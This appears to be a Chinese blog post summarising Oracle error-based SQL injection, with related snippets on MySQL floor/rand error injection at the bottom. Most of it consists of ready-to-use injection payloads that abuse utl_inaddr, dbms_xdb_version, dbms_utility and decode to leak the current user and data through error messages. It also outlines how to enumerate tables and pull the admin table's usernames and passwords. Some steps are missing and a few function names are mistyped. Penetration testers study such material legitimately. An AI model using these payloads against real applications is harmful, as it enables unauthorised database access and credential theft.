Oracle報錯注入總結

2021-09-24 00:04:32 字數 3419 閱讀 6065

在oracle注入時候出現了資料庫報錯資訊,可以優先選擇報錯注入,使用報錯的方式將查詢資料的結果帶出到錯誤頁面中。

使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算子,這樣的方式進行報錯注入(mysql僅使用函式報錯即可),類似mssql報錯注入的方式。

判斷注入

utl_inaddr.get_host_name()進行報錯注入

and 1=utl_inaddr.get_host_name((select user from dual))--

and 1=utl_inaddr.get_host_name((select user from dual))--

utl_inaddr.get_host_address 本意是獲取ip 位址,但是如果傳遞引數無法得到解析就會返回乙個oracle 錯誤並顯示傳遞的引數。

我們傳遞的是乙個sql 語句所以返回的就是語句執行的結果。oracle 在啟動之後,把一些系統變數都放置到一些特定的檢視當中,可以利用這些檢視獲得想要的東西。通常非常重要的資訊有:

ctxsys.drithsx.sn()進行報錯注入

xmltype()進行報錯注入

dbms_xdb_version.checkin()進行報錯注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

查詢版本資訊

bms_xdb_version.makeversioned()進報錯注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
dbms_xdb_version.uncheckout()進行報錯注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
dbms_utility.sqlid_to_sqlhash()進行報錯注入

and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
decode進行報錯注入

這種方式更偏向布林型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。

and 1=(select decode(substr(user,1,1),'s',(1/0),0) from dual) --
oracle 資料庫的注入不同於其他資料庫,如access 和mysql,它包含了幾個系統表,這幾個系統表裡儲存了系統資料庫的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系統表就儲存了使用者的所有的表、列名,其中table_name 表示的是系統裡的表名,column_name 裡的是系統裡存在的列名

爆庫 第一行記錄

爆表 第一行第乙個記錄

第二個記錄

報錯admin表的 使用者和密碼

其他報錯函式大同小異。

收藏

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...

SQL注入 報錯注入

利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...